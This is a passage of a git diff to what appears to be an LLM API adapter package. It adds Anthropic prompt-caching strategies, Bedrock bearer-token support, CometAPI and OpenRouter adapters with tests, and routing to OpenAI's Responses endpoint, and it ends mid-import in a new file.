a/packages/openai-adapters/src/apis/AnthropicCachingStrategies.ts b/packages/openai-adapters/src/apis/AnthropicCachingStrategies.ts index 4b4ac49d0..b9a690d0d 100644 --- a/packages/openai-adapters/src/apis/AnthropicCachingStrategies.ts +++ b/packages/openai-adapters/src/apis/AnthropicCachingStrategies.ts @@ -1,21 +1,25 @@ +import { MessageCreateParams } from "@anthropic-ai/sdk/resources"; + const MAX_CACHING_MESSAGES = 4; // Caching strategy type - transforms a clean Anthropic body by adding cache_control -export type CachingStrategy = (anthropicBody: any) => any; +export type CachingStrategy = ( + anthropicBody: MessageCreateParams, +) => MessageCreateParams; // Utility function to estimate token count const estimateTokenCount = (text: string): number => Math.ceil(text.length / 4); -// Strategy 1: No Caching (Baseline) +// Strategy 1: No Caching const noCachingStrategy: CachingStrategy = (body) => body; -// Strategy 2: System Messages Only (Current Implementation) +// Strategy 2: System Messages Only const systemOnlyStrategy: CachingStrategy = (body) => { let availableCacheMessages = MAX_CACHING_MESSAGES; if (body.system && Array.isArray(body.system)) { return { ...body, - system: body.system.map((item: any) => { + system: body.system.map((item) => { if (availableCacheMessages > 0) { availableCacheMessages -= 1; return { @@ -37,7 +41,7 @@ const systemAndToolsStrategy: CachingStrategy = (body) => { // Cache system messages if (result.system && Array.isArray(result.system)) { - result.system = result.system.map((item: any) => { + result.system = result.system.map((item) => { if (availableCacheMessages > 0) { availableCacheMessages -= 1; return { @@ -51,8 +55,8 @@ const systemAndToolsStrategy: CachingStrategy = (body) => { // Cache tool definitions if (result.tools && Array.isArray(result.tools) && result.tools.length > 0) { - result.tools = result.tools.map((tool: any, index: number) => { - if (index === result.tools.length - 1 && availableCacheMessages > 0) { + result.tools = result.tools.map((tool, index: number) => { + if (index === result.tools!.length - 1 && availableCacheMessages > 0) { availableCacheMessages -= 1; return { ...tool, @@ -73,7 +77,7 @@ const optimizedStrategy: CachingStrategy = (body) => { // Always cache system messages if (result.system && Array.isArray(result.system)) { - result.system = result.system.map((item: any) => { + result.system = result.system.map((item) => { if (availableCacheMessages > 0) { availableCacheMessages -= 1; return { @@ -87,8 +91,8 @@ const optimizedStrategy: CachingStrategy = (body) => { // Cache tool definitions if (result.tools && Array.isArray(result.tools) && result.tools.length > 0) { - result.tools = result.tools.map((tool: any, index: number) => { - if (index === result.tools.length - 1 && availableCacheMessages > 0) { + result.tools = result.tools.map((tool, index: number) => { + if (index === result.tools!.length - 1 && availableCacheMessages > 0) { availableCacheMessages -= 1; return { ...tool, @@ -101,7 +105,7 @@ const optimizedStrategy: CachingStrategy = (body) => { // Cache large messages (>500 tokens) if (result.messages && Array.isArray(result.messages)) { - result.messages = result.messages.map((message: any) => { + result.messages = result.messages.map((message) => { if (message.content && typeof message.content === "string") { const tokens = estimateTokenCount(message.content); if (tokens > 500 && availableCacheMessages > 0) { @@ -112,7 +116,7 @@ const optimizedStrategy: CachingStrategy = (body) => { { type: "text", text: message.content, - cache_control: { type: "ephemeral" }, + cache_control: { type: "ephemeral" as const }, }, ], }; @@ -120,7 +124,7 @@ const optimizedStrategy: CachingStrategy = (body) => { } else if (message.content && Array.isArray(message.content)) { // Only add one cache control per message with array content let addedCacheControl = false; - const updatedContent = message.content.map((item: any) => { + const updatedContent = message.content.map((item) => { if (item.type === "text" && item.text) { const tokens = estimateTokenCount(item.text); if ( @@ -132,7 +136,7 @@ const optimizedStrategy: CachingStrategy = (body) => { addedCacheControl = true; return { ...item, - cache_control: { type: "ephemeral" }, + cache_control: { type: "ephemeral" as const }, }; } } diff --git a/packages/openai-adapters/src/apis/AnthropicUtils.ts b/packages/openai-adapters/src/apis/AnthropicUtils.ts new file mode 100644 index 000000000..cc0df5ee0 --- /dev/null +++ b/packages/openai-adapters/src/apis/AnthropicUtils.ts @@ -0,0 +1,139 @@ +import { + Base64ImageSource, + ErrorResponse, + MessageParam, + Tool, + ToolChoice, +} from "@anthropic-ai/sdk/resources"; +import { + ChatCompletionTool, + ChatCompletionToolChoiceOption, +} from "openai/resources"; + +export function getAnthropicErrorMessage(response: ErrorResponse): string { + switch (response.error.type) { + case "api_error": + return "An unexpected error has occurred internal to Anthropic's systems."; + case "invalid_request_error": + return "There was an issue with the format or content of your request."; + case "authentication_error": + return "There's an issue with your API key."; + case "permission_error": + return "Your API key does not have permission to use the specified resource."; + case "not_found_error": + return "The requested resource was not found."; + case "rate_limit_error": + return "Your account has hit a rate limit."; + case "overloaded_error": + return "Anthropic's API is temporarily overloaded. Please check their status page: https://status.anthropic.com/#past-incidents"; + case "timeout_error": + return "Anthropic API timed out. Please check their status page: https://status.anthropic.com/#past-incidents"; + case "billing_error": + default: + return response.error.message; + } +} + +export function getAnthropicHeaders( + apiKey: string, + enableCaching: boolean, +): Record { + const headers: Record = { + "Content-Type": "application/json", + Accept: "application/json", + "anthropic-version": "2023-06-01", + "x-api-key": apiKey, + }; + + if (enableCaching) { + headers["anthropic-beta"] = "prompt-caching-2024-07-31"; + } + return headers; +} + +export function addCacheControlToLastTwoUserMessages(messages: MessageParam[]) { + let userMessages = 0; + for (let i = messages.length - 1; i >= 0; i--) { + const msg = messages[i]; + if (msg.role === "user") { + userMessages++; + if (typeof msg.content === "string") { + continue; + } + for (let j = msg.content.length - 1; j >= 0; j--) { + const part = msg.content[j]; + if (part.type === "text") { + part.cache_control = { type: "ephemeral" }; + break; + } + } + if (userMessages >= 2) { + break; + } + } + } +} + +export function openAiToolChoiceToAnthropicToolChoice( + toolChoice: ChatCompletionToolChoiceOption | undefined, +): ToolChoice | undefined { + if (!toolChoice) { + return undefined; + } + switch (toolChoice) { + case "none": + // "none" is handled by excluding tools + return undefined; + case "required": + return { + type: "any", + }; + case "auto": + return { + type: "auto", + }; + default: + switch (toolChoice.type) { + case "allowed_tools": + // Filtering of tools is handled elsewhere + return { + type: toolChoice.allowed_tools.mode === "auto" ? "auto" : "any", + }; + case "custom": + return undefined; // TODO not supported yet + case "function": + return { + type: "tool", + name: toolChoice.function.name, + }; + } + } +} + +export function openaiToolToAnthropicTool(tool: ChatCompletionTool): Tool { + if (tool.type === "function" && "function" in tool) { + return { + name: tool.function.name, + description: tool.function.description, + input_schema: tool.function.parameters as Tool.InputSchema, // TODO unsafe cast, may be differences between openai tool schema and anthropic tool schema, + }; + } else { + throw new Error(`Unsupported tool type in Anthropic: ${tool.type}`); + } +} + +// Extract media type from data URL (ex. "data:image/png;base64,..." -> "image/png") +export function getAnthropicMediaTypeFromDataUrl( + dataUrl: string, +): Base64ImageSource["media_type"] { + const match = dataUrl.match(/^data:([^;]+);base64,/); + if (match) { + switch (match[1]) { + case "image/png": + case "image/gif": + case "image/webp": + return match[1]; + } + } + return "image/jpeg"; +} diff --git a/packages/openai-adapters/src/apis/Bedrock.ts b/packages/openai-adapters/src/apis/Bedrock.ts index 1898c1180..cf5588d68 100644 --- a/packages/openai-adapters/src/apis/Bedrock.ts +++ b/packages/openai-adapters/src/apis/Bedrock.ts @@ -30,6 +30,7 @@ import { } from "openai/resources/index"; import { fromNodeProviderChain } from "@aws-sdk/credential-providers"; +import { fromStatic } from "@aws-sdk/token-providers"; import { BedrockConfig } from "../types.js"; import { chatChunk, chatChunkFromDelta, embedding, rerank } from "../util.js"; import { safeParseArgs } from "../util/parseArgs.js"; @@ -44,7 +45,7 @@ import { function getSecureID(): string { // Adding a type declaration for the static property if (!(getSecureID as any).uuid) { - (getSecureID as any).uuid = crypto.randomUUID(); + (getSecureID as any).uuid = uuidv4(); } return ``; } @@ -81,7 +82,7 @@ export class BedrockApi implements BaseLlmApi { secretAccessKey: this.config.env.secretAccessKey, }; } - const profile = this.config.env.profile ?? "bedrock"; + const profile = this.config.env?.profile ?? "bedrock"; try { return await fromNodeProviderChain({ profile: profile, @@ -95,9 +96,22 @@ export class BedrockApi implements BaseLlmApi { return await fromNodeProviderChain()(); } async getClient(): Promise { + const region = this.config.env?.region; + + // If apiKey is provided, use bearer token authentication + if (this.config.apiKey) { + return new BedrockRuntimeClient({ + region, + token: fromStatic({ + token: { token: this.config.apiKey }, + }), + }); + } + + // Otherwise use IAM credentials (existing behavior) const creds = await this.getCreds(); return new BedrockRuntimeClient({ - region: this.config.env.region, + region, credentials: creds, }); } diff --git a/packages/openai-adapters/src/apis/CometAPI.ts b/packages/openai-adapters/src/apis/CometAPI.ts new file mode 100644 index 000000000..ea9358b14 --- /dev/null +++ b/packages/openai-adapters/src/apis/CometAPI.ts @@ -0,0 +1,132 @@ +import { + ChatCompletion, + ChatCompletionChunk, + ChatCompletionCreateParams, + ChatCompletionCreateParamsNonStreaming, + ChatCompletionCreateParamsStreaming, + Completion, + CompletionCreateParamsNonStreaming, + CompletionCreateParamsStreaming, + CreateEmbeddingResponse, + EmbeddingCreateParams, + Model, +} from "openai/resources/index"; +import { CometAPIConfig } from "../types.js"; +import { + BaseLlmApi, + CreateRerankResponse, + FimCreateParamsStreaming, + RerankCreateParams, +} from "./base.js"; +import { OpenAIApi } from "./OpenAI.js"; + +/** + * CometAPI adapter - extends OpenAI adapter since CometAPI is OpenAI-compatible + * + * CometAPI provides access to multiple LLM providers (GPT, Claude, Gemini, etc.) + * through a unified OpenAI-compatible API interface. + */ +export class CometAPIApi extends OpenAIApi implements BaseLlmApi { + // Store the original CometAPI config separately + private cometConfig: CometAPIConfig; + + constructor(config: CometAPIConfig) { + // CometAPI uses OpenAI-compatible API, so we can reuse OpenAI adapter + // Convert CometAPI config to OpenAI-compatible config for the base class + const openAICompatibleConfig = { + ...config, + provider: "openai" as const, + apiBase: config.apiBase ?? "https://api.cometapi.com/v1/", + }; + super(openAICompatibleConfig); + + // Store original config after super() call + this.cometConfig = config; + } + + /** + * Override list method to handle CometAPI-specific model filtering + * The core filtering logic is handled in the CometAPI provider class + */ + async list(): Promise { + try { + return await super.list(); + } catch (error) { + // Fallback to empty list if model listing fails + console.warn("CometAPI: Failed to fetch model list", error); + return []; + } + } + + /** + * Chat completion - uses OpenAI-compatible format + */ + async chatCompletionNonStream( + body: ChatCompletionCreateParamsNonStreaming, + signal: AbortSignal, + ): Promise { + return super.chatCompletionNonStream(body, signal); + } + + /** + * Streaming chat completion - uses OpenAI-compatible format + */ + async *chatCompletionStream( + body: ChatCompletionCreateParamsStreaming, + signal: AbortSignal, + ): AsyncGenerator { + yield* super.chatCompletionStream(body, signal); + } + + /** + * Legacy completion endpoint support + */ + completionNonStream( + body: CompletionCreateParamsNonStreaming, + signal: AbortSignal, + ): Promise { + return super.completionNonStream(body, signal); + } + + /** + * Legacy streaming completion endpoint support + */ + completionStream( + body: CompletionCreateParamsStreaming, + signal: AbortSignal, + ): AsyncGenerator { + return super.completionStream(body, signal); + } + + /** + * Fill-in-the-middle completion support + */ + fimStream( + body: FimCreateParamsStreaming, + signal: AbortSignal, + ): AsyncGenerator { + return super.fimStream(body, signal); + } + + /** + * Embeddings support (if available through CometAPI) + */ + async embed(body: EmbeddingCreateParams): Promise { + try { + return await super.embed(body); + } catch (error) { + throw new Error(`CometAPI embeddings not supported: ${error}`); + } + } + + /** + * Reranking support (if available through CometAPI) + */ + async rerank(body: RerankCreateParams): Promise { + try { + return await super.rerank(body); + } catch (error) { + throw new Error(`CometAPI reranking not supported: ${error}`); + } + } +} diff --git a/packages/openai-adapters/src/apis/OpenAI.ts b/packages/openai-adapters/src/apis/OpenAI.ts index 310e5ef40..4d154ea97 100644 --- a/packages/openai-adapters/src/apis/OpenAI.ts +++ b/packages/openai-adapters/src/apis/OpenAI.ts @@ -11,9 +11,20 @@ import { CompletionCreateParamsStreaming, Model, } from "openai/resources/index"; +import type { + Response, + ResponseStreamEvent, +} from "openai/resources/responses/responses.js"; import { z } from "zod"; import { OpenAIConfigSchema } from "../types.js"; import { customFetch } from "../util.js"; +import { + createResponsesStreamState, + fromResponsesChunk, + isResponsesModel, + responseToChatCompletion, + toResponsesParams, +} from "./openaiResponses.js"; import { BaseLlmApi, CreateRerankResponse, @@ -63,6 +74,11 @@ export class OpenAIApi implements BaseLlmApi { return body; } + protected shouldUseResponsesEndpoint(model: string): boolean { + const isOfficialOpenAIAPI = this.apiBase === "https://api.openai.com/v1/"; + return isOfficialOpenAIAPI && isResponsesModel(model); + } + modifyCompletionBody< T extends | CompletionCreateParamsNonStreaming @@ -98,6 +114,10 @@ export class OpenAIApi implements BaseLlmApi { body: ChatCompletionCreateParamsNonStreaming, signal: AbortSignal, ): Promise { + if (this.shouldUseResponsesEndpoint(body.model)) { + const response = await this.responsesNonStream(body, signal); + return responseToChatCompletion(response); + } const response = await this.openai.chat.completions.create( this.modifyChatBody(body), { @@ -111,14 +131,31 @@ export class OpenAIApi implements BaseLlmApi { body: ChatCompletionCreateParamsStreaming, signal: AbortSignal, ): AsyncGenerator { + if (this.shouldUseResponsesEndpoint(body.model)) { + for await (const chunk of this.responsesStream(body, signal)) { + yield chunk; + } + return; + } const response = await this.openai.chat.completions.create( this.modifyChatBody(body), { signal, }, ); + let lastChunkWithUsage: ChatCompletionChunk | undefined; for await (const result of response) { - yield result; + // Check if this chunk contains usage information + if (result.usage) { + // Store it to emit after all content chunks + lastChunkWithUsage = result; + } else { + yield result; + } + } + // Emit the usage chunk at the end if we have one + if (lastChunkWithUsage) { + yield lastChunkWithUsage; } } async completionNonStream( @@ -198,4 +235,42 @@ export class OpenAIApi implements BaseLlmApi { async list(): Promise { return (await this.openai.models.list()).data; } + + async responsesNonStream( + body: ChatCompletionCreateParamsNonStreaming, + signal: AbortSignal, + ): Promise { + const params = toResponsesParams({ + ...(body as ChatCompletionCreateParams), + stream: false, + }); + return (await this.openai.responses.create(params, { + signal, + })) as Response; + } + + async *responsesStream( + body: ChatCompletionCreateParamsStreaming, + signal: AbortSignal, + ): AsyncGenerator { + const params = toResponsesParams({ + ...(body as ChatCompletionCreateParams), + stream: true, + }); + + const state = createResponsesStreamState({ + model: body.model, + }); + + const stream = this.openai.responses.stream(params as any, { + signal, + }); + + for await (const event of stream as AsyncIterable) { + const chunk = fromResponsesChunk(state, event); + if (chunk) { + yield chunk; + } + } + } } diff --git a/packages/openai-adapters/src/apis/OpenRouter.test.ts b/packages/openai-adapters/src/apis/OpenRouter.test.ts new file mode 100644 index 000000000..6b7175446 --- /dev/null +++ b/packages/openai-adapters/src/apis/OpenRouter.test.ts @@ -0,0 +1,319 @@ +import { ChatCompletionCreateParams } from "openai/resources/index"; +import { describe, expect, it } from "vitest"; + +import { OpenRouterApi } from "./OpenRouter.js"; +import { applyAnthropicCachingToOpenRouterBody } from "./OpenRouterCaching.js"; + +describe("OpenRouterApi Anthropic caching", () => { + const baseConfig = { + provider: "openrouter" as const, + apiKey: "test-key", + }; + + it("adds cache_control to last two user messages by default", () => { + const api = new OpenRouterApi(baseConfig); + + const body: ChatCompletionCreateParams = { + model: "anthropic/claude-3.5-sonnet", + messages: [ + { role: "user", content: "First" }, + { role: "assistant", content: "Resp" }, + { role: "user", content: "Second" }, + { role: "assistant", content: "Resp 2" }, + { role: "user", content: "Third" }, + ], + }; + + const modifiedBody = api["modifyChatBody"]({ ...body }); + + const userMessages = modifiedBody.messages.filter( + (message) => message.role === "user", + ); + + expect(userMessages[0].content).toBe("First"); + expect(userMessages[1].content).toEqual([ + { + type: "text", + text: "Second", + cache_control: { type: "ephemeral" }, + }, + ]); + expect(userMessages[2].content).toEqual([ + { + type: "text", + text: "Third", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + + it("adds cache_control to system message via strategy", () => { + const api = new OpenRouterApi(baseConfig); + + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [ + { role: "system", content: "System message" }, + { role: "user", content: "Hi" }, + ], + }; + + const modifiedBody = api["modifyChatBody"]({ ...body }); + + expect(modifiedBody.messages[0]).toEqual({ + role: "system", + content: [ + { + type: "text", + text: "System message", + cache_control: { type: "ephemeral" }, + }, + ], + }); + expect(modifiedBody.messages[1]).toEqual(body.messages[1]); + }); + + it("respects cachingStrategy when set to none", () => { + const api = new OpenRouterApi({ + ...baseConfig, + cachingStrategy: "none", + }); + + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [ + { role: "system", content: "System" }, + { role: "user", content: "First" }, + { role: "assistant", content: "Resp" }, + { role: "user", content: "Second" }, + ], + }; + + const modifiedBody = api["modifyChatBody"]({ ...body }); + + // System message should remain unchanged when strategy is none + expect(modifiedBody.messages[0]).toEqual(body.messages[0]); + + const userMessages = modifiedBody.messages.filter( + (message) => message.role === "user", + ); + + expect(userMessages[0].content).toEqual([ + { + type: "text", + text: "First", + cache_control: { type: "ephemeral" }, + }, + ]); + expect(userMessages[1].content).toEqual([ + { + type: "text", + text: "Second", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + + it("leaves messages unchanged for non-Anthropic models", () => { + const api = new OpenRouterApi(baseConfig); + + const body: ChatCompletionCreateParams = { + model: "gpt-4o", + messages: [ + { role: "system", content: "System" }, + { role: "user", content: "Hello" }, + ], + }; + + const modifiedBody = api["modifyChatBody"]({ ...body }); + + expect(modifiedBody.messages).toEqual(body.messages); + }); + + it("adds cache_control only to last text block for array content", () => { + const api = new OpenRouterApi(baseConfig); + + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [ + { + role: "user", + content: [ + { type: "text", text: "Part 1" }, + { type: "text", text: "Part 2" }, + ], + }, + ], + }; + + const modifiedBody = api["modifyChatBody"]({ ...body }); + + expect(modifiedBody.messages[0].content).toEqual([ + { type: "text", text: "Part 1" }, + { + type: "text", + text: "Part 2", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + + describe("applyAnthropicCachingToOpenRouterBody", () => { + it("mutates OpenAI chat body with system and tool caching", () => { + const body: ChatCompletionCreateParams = { + model: "anthropic/claude-3.5-sonnet", + messages: [ + { role: "system", content: "You are helpful" }, + { role: "user", content: "Alpha" }, + { role: "assistant", content: "Response" }, + { role: "user", content: "Beta" }, + { role: "assistant", content: "Another" }, + { role: "user", content: "Gamma" }, + ], + tools: [ + { + type: "function", + function: { + name: "toolA", + description: "desc", + parameters: { type: "object", properties: {} }, + }, + }, + { + type: "function", + function: { + name: "toolB", + description: "desc", + parameters: { type: "object", properties: {} }, + }, + }, + ], + }; + + applyAnthropicCachingToOpenRouterBody(body, "systemAndTools"); + + expect(body.messages[0]).toEqual({ + role: "system", + content: [ + { + type: "text", + text: "You are helpful", + cache_control: { type: "ephemeral" }, + }, + ], + }); + + const userMessages = body.messages.filter((m) => m.role === "user"); + expect(userMessages[0].content).toBe("Alpha"); + expect(userMessages[1].content).toEqual([ + { + type: "text", + text: "Beta", + cache_control: { type: "ephemeral" }, + }, + ]); + expect(userMessages[2].content).toEqual([ + { + type: "text", + text: "Gamma", + cache_control: { type: "ephemeral" }, + }, + ]); + + expect(body.tools?.[0]).toEqual({ + type: "function", + function: { + name: "toolA", + description: "desc", + parameters: { type: "object", properties: {} }, + }, + }); + expect(body.tools?.[1]).toEqual({ + type: "function", + function: { + name: "toolB", + description: "desc", + parameters: { type: "object", properties: {} }, + }, + cache_control: { type: "ephemeral" }, + }); + }); + + it("leaves system untouched when strategy is none while caching users", () => { + const body: ChatCompletionCreateParams = { + model: "anthropic/claude-3.5-sonnet", + messages: [ + { role: "system", content: "Stay focused" }, + { role: "user", content: "Question" }, + { role: "assistant", content: "Answer" }, + { role: "user", content: "Follow up" }, + ], + }; + + applyAnthropicCachingToOpenRouterBody(body, "none"); + + expect(body.messages[0]).toEqual({ + role: "system", + content: "Stay focused", + }); + + const userMessages = body.messages.filter((m) => m.role === "user"); + expect(userMessages[0].content).toEqual([ + { + type: "text", + text: "Question", + cache_control: { type: "ephemeral" }, + }, + ]); + expect(userMessages[1].content).toEqual([ + { + type: "text", + text: "Follow up", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + + it("adds cache_control only to final text segment of user arrays", () => { + const body: ChatCompletionCreateParams = { + model: "anthropic/claude-3.5-sonnet", + messages: [ + { + role: "user", + content: [ + { type: "text", text: "Part 1" }, + { type: "text", text: "Part 2" }, + ], + }, + { + role: "user", + content: [ + { type: "text", text: "Segment A" }, + { type: "text", text: "Segment B" }, + ], + }, + ], + }; + + applyAnthropicCachingToOpenRouterBody(body, "systemAndTools"); + + expect(body.messages[0].content).toEqual([ + { type: "text", text: "Part 1" }, + { + type: "text", + text: "Part 2", + cache_control: { type: "ephemeral" }, + }, + ]); + + expect(body.messages[1].content).toEqual([ + { type: "text", text: "Segment A" }, + { + type: "text", + text: "Segment B", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + }); +}); diff --git a/packages/openai-adapters/src/apis/OpenRouter.ts b/packages/openai-adapters/src/apis/OpenRouter.ts new file mode 100644 index 000000000..3e70f7f88 --- /dev/null +++ b/packages/openai-adapters/src/apis/OpenRouter.ts @@ -0,0 +1,43 @@ +import { ChatCompletionCreateParams } from "openai/resources/index"; + +import { OpenAIConfig } from "../types.js"; +import { OpenAIApi } from "./OpenAI.js"; +import { applyAnthropicCachingToOpenRouterBody } from "./OpenRouterCaching.js"; + +export interface OpenRouterConfig extends OpenAIConfig { + cachingStrategy?: import("./AnthropicCachingStrategies.js").CachingStrategyName; +} + +export class OpenRouterApi extends OpenAIApi { + constructor(config: OpenRouterConfig) { + super({ + ...config, + apiBase: config.apiBase ?? "https://openrouter.ai/api/v1/", + }); + } + + private isAnthropicModel(model?: string): boolean { + if (!model) { + return false; + } + const modelLower = model.toLowerCase(); + return modelLower.includes("claude"); + } + + override modifyChatBody(body: T): T { + const modifiedBody = super.modifyChatBody(body); + + if (!this.isAnthropicModel(modifiedBody.model)) { + return modifiedBody; + } + + applyAnthropicCachingToOpenRouterBody( + modifiedBody as unknown as ChatCompletionCreateParams, + (this.config as OpenRouterConfig).cachingStrategy ?? "systemAndTools", + ); + + return modifiedBody; + } +} + +export default OpenRouterApi; diff --git a/packages/openai-adapters/src/apis/OpenRouterCaching.ts b/packages/openai-adapters/src/apis/OpenRouterCaching.ts new file mode 100644 index 000000000..1f9962c72 --- /dev/null +++ b/packages/openai-adapters/src/apis/OpenRouterCaching.ts @@ -0,0 +1,294 @@ +import { + ContentBlockParam, + MessageCreateParams, + MessageParam, +} from "@anthropic-ai/sdk/resources"; +import { + ChatCompletionCreateParams, + ChatCompletionMessageParam, +} from "openai/resources/index"; + +import { + CACHING_STRATEGIES, + CachingStrategyName, +} from "./AnthropicCachingStrategies.js"; +import { + addCacheControlToLastTwoUserMessages, + openaiToolToAnthropicTool, +} from "./AnthropicUtils.js"; + +interface SystemMapping { + openaiIndex: number; + start: number; + length: number; + wasString: boolean; + originalContent: ChatCompletionMessageParam["content"]; + textPartIndices: (number | null)[]; +} + +interface MessageMapping { + openaiIndex: number; + anthropicIndex: number; + role: string; + wasString: boolean; + originalContent: ChatCompletionMessageParam["content"]; + textPartIndices: (number | null)[]; +} + +interface ConversionResult { + anthropicBody: MessageCreateParams; + systemMappings: SystemMapping[]; + messageMappings: MessageMapping[]; +} + +const convertContentToBlocks = ( + content: ChatCompletionMessageParam["content"], +): { + blocks: ContentBlockParam[]; + textPartIndices: (number | null)[]; + wasString: boolean; +} => { + if (typeof content === "string" || typeof content === "number") { + const text = String(content); + return { + blocks: [ + { + type: "text", + text, + } as ContentBlockParam, + ], + textPartIndices: [null], + wasString: true, + }; + } + + if (!Array.isArray(content)) { + return { + blocks: [], + textPartIndices: [], + wasString: false, + }; + } + + const blocks: ContentBlockParam[] = []; + const textPartIndices: (number | null)[] = []; + + content.forEach((part: any, idx: number) => { + if (part?.type === "text") { + blocks.push({ + type: "text", + text: part.text ?? "", + } as ContentBlockParam); + textPartIndices.push(idx); + } else { + blocks.push({ ...(part ?? {}) } as any); + textPartIndices.push(null); + } + }); + + return { + blocks, + textPartIndices, + wasString: false, + }; +}; + +const convertToAnthropic = ( + body: ChatCompletionCreateParams, +): ConversionResult => { + const systemBlocks: ContentBlockParam[] = []; + const systemMappings: SystemMapping[] = []; + const messages: MessageParam[] = []; + const messageMappings: MessageMapping[] = []; + + let systemOffset = 0; + + body.messages.forEach((message, index) => { + const { blocks, textPartIndices, wasString } = convertContentToBlocks( + message.content, + ); + + if (message.role === "system") { + const length = blocks.length; + systemMappings.push({ + openaiIndex: index, + start: systemOffset, + length, + wasString, + originalContent: message.content, + textPartIndices, + }); + systemBlocks.push(...blocks); + systemOffset += length; + } else { + messages.push({ + role: message.role as MessageParam["role"], + content: blocks as any, + }); + messageMappings.push({ + openaiIndex: index, + anthropicIndex: messages.length - 1, + role: message.role, + wasString, + originalContent: message.content, + textPartIndices, + }); + } + }); + + const tools = body.tools + ?.filter((tool) => tool.type === "function") + .map((tool) => openaiToolToAnthropicTool(tool)); + + const anthropicBody: MessageCreateParams = { + model: body.model, + messages, + max_tokens: body.max_tokens ?? 1, + system: systemBlocks.length > 0 ? (systemBlocks as any) : undefined, + tools, + }; + + return { anthropicBody, systemMappings, messageMappings }; +}; + +export const applyAnthropicCachingToOpenRouterBody = ( + body: ChatCompletionCreateParams, + strategy: CachingStrategyName, +): void => { + const { anthropicBody, systemMappings, messageMappings } = + convertToAnthropic(body); + + const cachingStrategy = + CACHING_STRATEGIES[strategy] ?? CACHING_STRATEGIES.systemAndTools; + const cachedBody = cachingStrategy({ ...anthropicBody }); + + cachedBody.messages = cachedBody.messages ?? []; + addCacheControlToLastTwoUserMessages(cachedBody.messages); + + const cachedSystem = Array.isArray(cachedBody.system) + ? cachedBody.system + : []; + + systemMappings.forEach((mapping) => { + const openaiMessage = body.messages[mapping.openaiIndex] as any; + if (!openaiMessage) { + return; + } + + const slice = cachedSystem.slice( + mapping.start, + mapping.start + mapping.length, + ); + const hasCache = slice.some((block: any) => block?.cache_control); + + if (!hasCache) { + openaiMessage.content = mapping.originalContent; + return; + } + + if (mapping.wasString) { + openaiMessage.content = slice.map((block: any) => ({ + type: "text", + text: block?.text ?? "", + ...(block?.cache_control ? { cache_control: block.cache_control } : {}), + })); + return; + } + + if (Array.isArray(mapping.originalContent)) { + const newParts = mapping.originalContent.map((part: any) => ({ + ...part, + })); + + slice.forEach((block: any, idx: number) => { + const originalIndex = mapping.textPartIndices[idx]; + if ( + originalIndex === null || + originalIndex === undefined || + !block?.cache_control + ) { + return; + } + + newParts[originalIndex] = { + ...newParts[originalIndex], + cache_control: block.cache_control, + ...(block.text !== undefined ? { text: block.text } : {}), + }; + }); + + openaiMessage.content = newParts; + } + }); + + const cachedMessages = cachedBody.messages ?? []; + messageMappings.forEach((mapping) => { + const openaiMessage = body.messages[mapping.openaiIndex] as any; + const cachedMessage = cachedMessages[mapping.anthropicIndex] as any; + if (!openaiMessage || !cachedMessage) { + return; + } + + if (cachedMessage.role !== "user") { + openaiMessage.content = mapping.originalContent; + return; + } + + const contentArray = Array.isArray(cachedMessage.content) + ? cachedMessage.content + : []; + const hasCache = contentArray.some((block: any) => block?.cache_control); + + if (!hasCache) { + openaiMessage.content = mapping.originalContent; + return; + } + + if (mapping.wasString) { + openaiMessage.content = contentArray.map((block: any) => ({ + type: "text", + text: block?.text ?? "", + ...(block?.cache_control ? { cache_control: block.cache_control } : {}), + })); + return; + } + + if (Array.isArray(mapping.originalContent)) { + const newParts = mapping.originalContent.map((part: any) => ({ + ...part, + })); + + contentArray.forEach((block: any, idx: number) => { + const originalIndex = mapping.textPartIndices[idx]; + if ( + originalIndex === null || + originalIndex === undefined || + !block?.cache_control + ) { + return; + } + + newParts[originalIndex] = { + ...newParts[originalIndex], + cache_control: block.cache_control, + ...(block.text !== undefined ? { text: block.text } : {}), + }; + }); + + openaiMessage.content = newParts; + } + }); + + if (body.tools?.length && cachedBody.tools?.length) { + body.tools = body.tools.map((tool, idx) => { + const cachedTool = (cachedBody.tools ?? [])[idx] as any; + if (!cachedTool?.cache_control) { + return tool; + } + return { + ...tool, + cache_control: cachedTool.cache_control, + } as any; + }); + } +}; diff --git a/packages/openai-adapters/src/apis/base.ts b/packages/openai-adapters/src/apis/base.ts index 5079aedef..cf5904d51 100644 --- a/packages/openai-adapters/src/apis/base.ts +++ b/packages/openai-adapters/src/apis/base.ts @@ -10,6 +10,7 @@ import { EmbeddingCreateParams, Model, } from "openai/resources/index"; +import type { Response } from "openai/resources/responses/responses.js"; export interface FimCreateParamsStreaming extends CompletionCreateParamsStreaming { @@ -50,6 +51,16 @@ export interface BaseLlmApi { signal: AbortSignal, ): AsyncGenerator; + responsesNonStream?( + body: ChatCompletionCreateParamsNonStreaming, + signal: AbortSignal, + ): Promise; + + responsesStream?( + body: ChatCompletionCreateParamsStreaming, + signal: AbortSignal, + ): AsyncGenerator; + // Completion, no stream completionNonStream( body: CompletionCreateParamsNonStreaming, diff --git a/packages/openai-adapters/src/apis/openaiResponses.ts b/packages/openai-adapters/src/apis/openaiResponses.ts new file mode 100644 index 000000000..997651be4 --- /dev/null +++ b/packages/openai-adapters/src/apis/openaiResponses.ts @@ -0,0 +1,779 @@ +import type { CompletionUsage } from "openai/resources/index.js"; +import { + ChatCompletion, + ChatCompletionAssistantMessageParam, + ChatCompletionChunk, + ChatCompletionContentPart, + ChatCompletionContentPartImage, + ChatCompletionContentPartInputAudio, + ChatCompletionContentPartRefusal, + ChatCompletionContentPartText, + ChatCompletionCreateParams, + ChatCompletionCreateParamsStreaming, + ChatCompletionMessageParam, + ChatCompletionMessageToolCall, + ChatCompletionTool, +} from "openai/resources/index.js"; +import { + Response, + ResponseCreateParams, + ResponseFunctionCallArgumentsDoneEvent, + ResponseIncompleteEvent, + ResponseInput, + ResponseInputAudio, + ResponseInputContent, + ResponseInputFile, + ResponseInputImage, + ResponseInputText, + ResponseOutputItem, + ResponseOutputMessage, + ResponseOutputRefusal, + ResponseOutputText, + ResponseReasoningSummaryTextDeltaEvent, + ResponseStreamEvent, + ResponseUsage, +} from 